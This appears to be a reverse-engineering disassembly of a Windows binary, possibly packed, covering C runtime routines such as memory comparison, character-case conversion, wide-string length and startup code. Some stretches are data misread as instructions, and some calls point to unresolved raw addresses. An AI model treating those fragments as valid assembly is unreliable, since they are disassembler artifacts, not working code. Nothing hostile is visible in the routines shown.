arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_42432C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_42432D
		test	eax, 1
		jz	short loc_42430D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_42435A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_42432A


loc_42430D:				; CODE XREF: sub_4242E0+20j
					; sub_4242E0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_42435A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_42435A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_42430D


loc_42432A:				; CODE XREF: sub_4242E0+2Bj
					; sub_4242E0+84j
		pop	edi
		pop	esi

locret_42432C:				; CODE XREF: sub_4242E0+6j
		retn
; ---------------------------------------------------------------------------


loc_42432D:				; CODE XREF: sub_4242E0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_424362
		repe cmpsd
		jz	short loc_424362
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_424355
		cmp	ch, dh
		jnz	short loc_424355
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_424355
		cmp	ch, dh


loc_424355:				; CODE XREF: sub_4242E0+63j
					; sub_4242E0+67j ...
		mov	eax, 0


loc_42435A:				; CODE XREF: sub_4242E0+26j
					; sub_4242E0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_4242E0+55j
					; sub_4242E0+59j
		test	eax, eax
		jz	short loc_42432A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_424355
		dec	eax
		jz	short loc_424389
		cmp	dh, ch
		jnz	short loc_424355
		dec	eax
		jz	short loc_424389
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_424355
		dec	eax


loc_424389:				; CODE XREF: sub_4242E0+8Fj
					; sub_4242E0+96j
		pop	edi
		pop	esi
		retn
sub_4242E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243A0	proc near		; CODE XREF: sub_41A43B+9p
					; sub_41A46C+90p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E92E4, 0
		jnz	short loc_4243C7
		cmp	[ebp+arg_0], 41h
		jl	short loc_4243C2
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_4243C2
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_4243C2:				; CODE XREF: sub_4243A0+11j
					; sub_4243A0+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_42442F
; ---------------------------------------------------------------------------


loc_4243C7:				; CODE XREF: sub_4243A0+Bj
		push	offset dword_4E96A8
		nop
		call	near ptr 2950B3Fh
		cmp	dword_4E96A4, 0
		jz	short loc_4243F9
		push	offset dword_4E96A8
		nop
		call	near ptr 2950A89h
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_424400
; ---------------------------------------------------------------------------


loc_4243F9:				; CODE XREF: sub_4243A0+39j
		mov	[ebp+var_4], 0


loc_424400:				; CODE XREF: sub_4243A0+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424440
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_424421
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_42442C
; ---------------------------------------------------------------------------


loc_424421:				; CODE XREF: sub_4243A0+73j
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop


loc_42442C:				; CODE XREF: sub_4243A0+7Fj
		mov	eax, [ebp+arg_0]


loc_42442F:				; CODE XREF: sub_4243A0+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_4243A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424440	proc near		; CODE XREF: sub_4243A0+64p
					; sub_43AF20+94p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4E92E4, 0
		jnz	short loc_42446C
		cmp	[ebp+arg_0], 41h
		jl	short loc_424464
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_424464
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_424464:				; CODE XREF: sub_424440+13j
					; sub_424440+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_424567
; ---------------------------------------------------------------------------


loc_42446C:				; CODE XREF: sub_424440+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_4244B3
		cmp	dword_4524F0, 1
		jle	short loc_424491
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_4244A5
; ---------------------------------------------------------------------------


loc_424491:				; CODE XREF: sub_424440+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx


loc_4244A5:				; CODE XREF: sub_424440+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_4244B3
		mov	eax, [ebp+arg_0]
		jmp	loc_424567
; ---------------------------------------------------------------------------


loc_4244B3:				; CODE XREF: sub_424440+33j
					; sub_424440+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_4244FC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_42450D
; ---------------------------------------------------------------------------


loc_4244FC:				; CODE XREF: sub_424440+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_42450D:				; CODE XREF: sub_424440+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, dword_4E92E4
		push	edx
		call	sub_4312B0
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_424541
		mov	eax, [ebp+arg_0]
		jmp	short loc_424567
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_424440+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_424551
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_424567
; ---------------------------------------------------------------------------


loc_424551:				; CODE XREF: sub_424440+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_424567:				; CODE XREF: sub_424440+27j
					; sub_424440+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424570	proc near		; CODE XREF: sub_41AD09+D8p
					; sub_41C3F4+60p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42457A:				; CODE XREF: sub_424570+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_424591
		jmp	short loc_42457A
; ---------------------------------------------------------------------------


loc_424591:				; CODE XREF: sub_424570+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_424570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245A0	proc near		; CODE XREF: sub_41AD09+A1p
					; sub_41AD09+B5p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4E96A8
		nop
		call	near ptr 2950B3Fh
		cmp	dword_4E96A4, 0
		jz	short loc_4245D8
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_4245DF
; ---------------------------------------------------------------------------


loc_4245D8:				; CODE XREF: sub_4245A0+18j
		mov	[ebp+var_4], 0


loc_4245DF:				; CODE XREF: sub_4245A0+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424620
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_424608
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_424613
; ---------------------------------------------------------------------------


loc_424608:				; CODE XREF: sub_4245A0+5Aj
		push	offset dword_4E96A8
		nop
		call	near ptr 2950A89h


loc_424613:				; CODE XREF: sub_4245A0+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424620	proc near		; CODE XREF: sub_4245A0+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_424643
		cmp	[ebp+arg_8], 0
		jnz	short loc_424643
		xor	eax, eax
		jmp	loc_424804
; ---------------------------------------------------------------------------


loc_424643:				; CODE XREF: sub_424620+14j
					; sub_424620+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_424667
		push	offset dword_43ED5C
		push	0
		push	55h
		push	offset dword_43ED50
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424667
		int	3		; Trap to Debugger


loc_424667:				; CODE XREF: sub_424620+27j
					; sub_424620+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424643
		cmp	[ebp+arg_0], 0
		jz	loc_4247B6
		cmp	dword_4E92E4, 0
		jnz	short loc_4246C9


loc_424680:				; CODE XREF: sub_424620+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4246C1
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4246AD
		mov	eax, [ebp+var_4]
		jmp	loc_424804
; ---------------------------------------------------------------------------


loc_4246AD:				; CODE XREF: sub_424620+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_424680
; ---------------------------------------------------------------------------


loc_4246C1:				; CODE XREF: sub_424620+66j
		mov	eax, [ebp+var_4]
		jmp	loc_424804
; ---------------------------------------------------------------------------


loc_4246C9:				; CODE XREF: sub_424620+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4E92F4
		push	eax
		call	near ptr 2910000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4246F9
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_424804
; ---------------------------------------------------------------------------


loc_4246F9:				; CODE XREF: sub_424620+CCj
		nop
		call	near ptr 27B0F7Fh
		cmp	eax, 7Ah
		jz	short loc_424717
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_424804
; ---------------------------------------------------------------------------


loc_424717:				; CODE XREF: sub_424620+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_42472E
; ---------------------------------------------------------------------------


loc_424725:				; CODE XREF: sub_424620:loc_42476Fj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42472E:				; CODE XREF: sub_424620+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_424771
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_424771
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42476F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42476F:				; CODE XREF: sub_424620+144j
		jmp	short loc_424725
; ---------------------------------------------------------------------------


loc_424771:				; CODE XREF: sub_424620+11Cj
					; sub_424620+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, dword_4E92F4
		push	eax
		nop
		call	near ptr 2910000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4247B1
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_4247B1:				; CODE XREF: sub_424620+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_4247B6:				; CODE XREF: sub_424620+51j
		cmp	dword_4E92E4, 0
		jnz	short loc_4247CD
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_4247CD:				; CODE XREF: sub_424620+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4E92F4
		push	eax
		call	near ptr 2910000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4247FE
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_4247FE:				; CODE XREF: sub_424620+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1


loc_424804:				; CODE XREF: sub_424620+1Ej
					; sub_424620+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424620	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0C1h, 0F9h, 39h
; ---------------------------------------------------------------------------


loc_424813:				; CODE XREF: .XComp0:00424821j
		inc	dword ptr [ebx+71h]
		push	cs
		jl	short loc_424861
		pop	edx
		mov	dword ptr [ecx+6Ah], 19363440h
		jns	short loc_424813
		add	[edx+16A8DBAAh], dl
		mov	edx, 89B37AA0h
		add	[ebp+1Fh], dh
		mov	ch, 7Dh
		mov	ch, 0D3h
; ---------------------------------------------------------------------------
		db 7Eh,	0BBh, 0C0h
		dd 71B0E1E1h, 4E91F8A3h, 91F8A100h, 0E8C1004Eh,	0FF2508h
		dd 4A30000h, 8B004E92h,	4E91F80Dh, 0FFE18100h, 89000000h
		db 0Dh
; ---------------------------------------------------------------------------


loc_424861:				; CODE XREF: .XComp0:00424817j
		add	[edx+158B004Eh], dl
		add	[edx-1D3EFFB2h], dl
		or	[ebx], al
		adc	eax, offset dword_4E9204
		mov	dword_4E91FC, edx
		mov	eax, dword_4E91F8
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	dword_4E91F8, eax
		push	1
		call	sub_4295D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_4248A4
		push	1Ch
		call	sub_4249B0
		add	esp, 4


loc_4248A4:				; CODE XREF: .XComp0:00424898j
		call	sub_42B550
		test	eax, eax
		jnz	short loc_4248B7
		push	10h
		call	sub_4249B0
		add	esp, 4


loc_4248B7:				; CODE XREF: .XComp0:004248ABj
		mov	dword ptr [ebp-4], 0
		call	sub_432170
		nop
		call	near ptr 29609DEh
		mov	dword_4EA904, eax
		call	sub_431F50
		mov	dword_4E9244, eax
		call	sub_431A40
		call	sub_4318F0
		call	sub_4217C0
		mov	dword ptr [ebp-30h], 0
		lea	ecx, [ebp-5Ch]
		push	ecx
		nop
		call	near ptr 2960000h
		call	sub_431830
		mov	[ebp-64h], eax
		mov	edx, [ebp-30h]
		and	edx, 1
		test	edx, edx
		jz	short loc_424917
		mov	eax, [ebp-2Ch]
		and	eax, 0FFFFh
		mov	[ebp-6Ch], eax
		jmp	short loc_42491E
; ---------------------------------------------------------------------------


loc_424917:				; CODE XREF: .XComp0:00424908j
		mov	dword ptr [ebp-6Ch], 0Ah


loc_42491E:				; CODE XREF: .XComp0:00424915j
		mov	ecx, [ebp-6Ch]
		push	ecx
		mov	edx, [ebp-64h]
		push	edx
		push	0
		push	0
		call	near ptr 27C0753h
		nop
		push	eax
		call	sub_4016A7
		mov	[ebp-60h], eax
		mov	eax, [ebp-60h]
		push	eax
		call	sub_421800
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, [ebp-68h]
		push	edx
		call	sub_431610
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax
		call	sub_421820
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424980	proc near		; CODE XREF: sub_423C90+2Cp
					; sub_4249E0+8Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4E924C, 1
		jnz	short loc_424991
		call	sub_432540


loc_424991:				; CODE XREF: sub_424980+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432590
		add	esp, 4
		push	0FFh
		call	off_44FF40
		add	esp, 4
		pop	ebp
		retn
sub_424980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249B0	proc near		; CODE XREF: .XComp0:0042489Cp
					; .XComp0:004248AFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4E924C, 1
		jnz	short loc_4249C1
		call	sub_432540


loc_4249C1:				; CODE XREF: sub_4249B0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432590
		add	esp, 4
		push	0FFh
		nop
		call	near ptr 7C81CDDAh
		pop	ebp
		retn
sub_4249B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249E0	proc near		; DATA XREF: .XComp0:00441020o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EA900, 0
		jnz	short loc_4249F9
		mov	dword_4EA900, 200h
		jmp	short loc_424A0C
; ---------------------------------------------------------------------------


loc_4249F9:				; CODE XREF: sub_4249E0+Bj
		cmp	dword_4EA900, 14h
		jge	short loc_424A0C
		mov	dword_4EA900, 14h


loc_424A0C:				; CODE XREF: sub_4249E0+17j
					; sub_4249E0+20j
		push	83h
		push	offset dword_43ED74
		push	2
		push	4
		mov	eax, dword_4EA900
		push	eax
		call	sub_41F230
		add	esp, 14h
		mov	dword_4E98F4, eax
		cmp	dword_4E98F4, 0
		jnz	short loc_424A75
		mov	dword_4EA900, 14h
		push	86h
		push	offset dword_43ED74
		push	2
		push	4
		mov	ecx, dword_4EA900
		push	ecx
		call	sub_41F230
		add	esp, 14h
		mov	dword_4E98F4, eax
		cmp	dword_4E98F4, 0
		jnz	short loc_424A75
		push	1Ah
		call	sub_424980
		add	esp, 4


loc_424A75:				; CODE XREF: sub_4249E0+54j
					; sub_4249E0+89j
		mov	[ebp+var_4], 0
		jmp	short loc_424A87
; ---------------------------------------------------------------------------


loc_424A7E:				; CODE XREF: sub_4249E0+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_424A87:				; CODE XREF: sub_4249E0+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_424AA6
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_44FF48
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	[edx+ecx*4], eax
		jmp	short loc_424A7E
; ---------------------------------------------------------------------------


loc_424AA6:				; CODE XREF: sub_4249E0+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_424AB8
; ---------------------------------------------------------------------------


loc_424AAF:				; CODE XREF: sub_4249E0:loc_424B06j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_424AB8:				; CODE XREF: sub_4249E0+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_424B08
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_424AF6
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_424B06


loc_424AF6:				; CODE XREF: sub_4249E0+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	dword_44FF58[ecx], 0FFFFFFFFh


loc_424B06:				; CODE XREF: sub_4249E0+114j
		jmp	short loc_424AAF
; ---------------------------------------------------------------------------


loc_424B08:				; CODE XREF: sub_4249E0+DCj
		mov	esp, ebp
		pop	ebp
		retn
sub_4249E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B10	proc near		; DATA XREF: .XComp0:00441034o
		push	ebp
		mov	ebp, esp
		call	sub_4256F0
		movsx	eax, byte_4E922C
		test	eax, eax
		jz	short loc_424B28
		call	sub_4327A0


loc_424B28:				; CODE XREF: sub_424B10+11j
		pop	ebp
		retn
sub_424B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B30	proc near		; CODE XREF: sub_41EC50+55p
					; sub_4210E0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_44FF48
		jb	short loc_424B5E
		cmp	[ebp+arg_0], offset dword_4501A8
		ja	short loc_424B5E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_44FF48
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_425990
		add	esp, 4
		jmp	short loc_424B6B
; ---------------------------------------------------------------------------


loc_424B5E:				; CODE XREF: sub_424B30+Aj
					; sub_424B30+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		nop
		call	near ptr 7C901005h


loc_424B6B:				; CODE XREF: sub_424B30+2Cj
		pop	ebp
		retn
sub_424B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B70	proc near		; CODE XREF: sub_425700+7Ep
					; sub_42A270+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_424B8A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_425990
		add	esp, 4
		jmp	short loc_424B97
; ---------------------------------------------------------------------------


loc_424B8A:				; CODE XREF: sub_424B70+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	near ptr 7C901005h
		nop


loc_424B97:				; CODE XREF: sub_424B70+18j
		pop	ebp
		retn
sub_424B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BA0	proc near		; CODE XREF: sub_41EC50+70p
					; sub_4210E0+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_44FF48
		jb	short loc_424BCE
		cmp	[ebp+arg_0], offset dword_4501A8
		ja	short loc_424BCE
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_44FF48
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_425A30
		add	esp, 4
		jmp	short loc_424BDB
; ---------------------------------------------------------------------------


loc_424BCE:				; CODE XREF: sub_424BA0+Aj
					; sub_424BA0+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	near ptr 7C9010EDh
		nop


loc_424BDB:				; CODE XREF: sub_424BA0+2Cj
		pop	ebp
		retn
sub_424BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BE0	proc near		; CODE XREF: sub_425700+116p
					; sub_42A270+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_424BFA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_425A30
		add	esp, 4
		jmp	short loc_424C07
; ---------------------------------------------------------------------------


loc_424BFA:				; CODE XREF: sub_424BE0+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		nop
		call	near ptr 7C9010EDh


loc_424C07:				; CODE XREF: sub_424BE0+18j
		pop	ebp
		retn
sub_424BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C10	proc near		; CODE XREF: sub_424D20+113p
					; sub_4250B0+33p
		push	ebp
		mov	ebp, esp
		call	near ptr 7C859B72h
		nop
		pop	ebp
		retn
sub_424C10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_424C30
		cmp	dword ptr [ebp+8], 3
		jl	short loc_424C35


loc_424C30:				; CODE XREF: .XComp0:00424C28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_424C73
; ---------------------------------------------------------------------------


loc_424C35:				; CODE XREF: .XComp0:00424C2Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_424C47
		mov	eax, [ebp+8]
		mov	eax, dword_4501CC[eax*4]
		jmp	short loc_424C73
; ---------------------------------------------------------------------------


loc_424C47:				; CODE XREF: .XComp0:00424C39j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h


loc_424C4D:				; DATA XREF: .XComp0:00453134o
					; .XComp0:0045317Co
		test	ecx, ecx
		jz	short loc_424C56
		or	eax, 0FFFFFFFFh
		jmp	short loc_424C73
; ---------------------------------------------------------------------------


loc_424C56:				; CODE XREF: .XComp0:00424C4Fj
		mov	edx, [ebp+8]
		mov	eax, dword_4501CC[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	dword_4501CC[ecx*4], edx
		mov	eax, [ebp-4]


loc_424C73:				; CODE XREF: .XComp0:00424C33j
					; .XComp0:00424C45j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_424C90
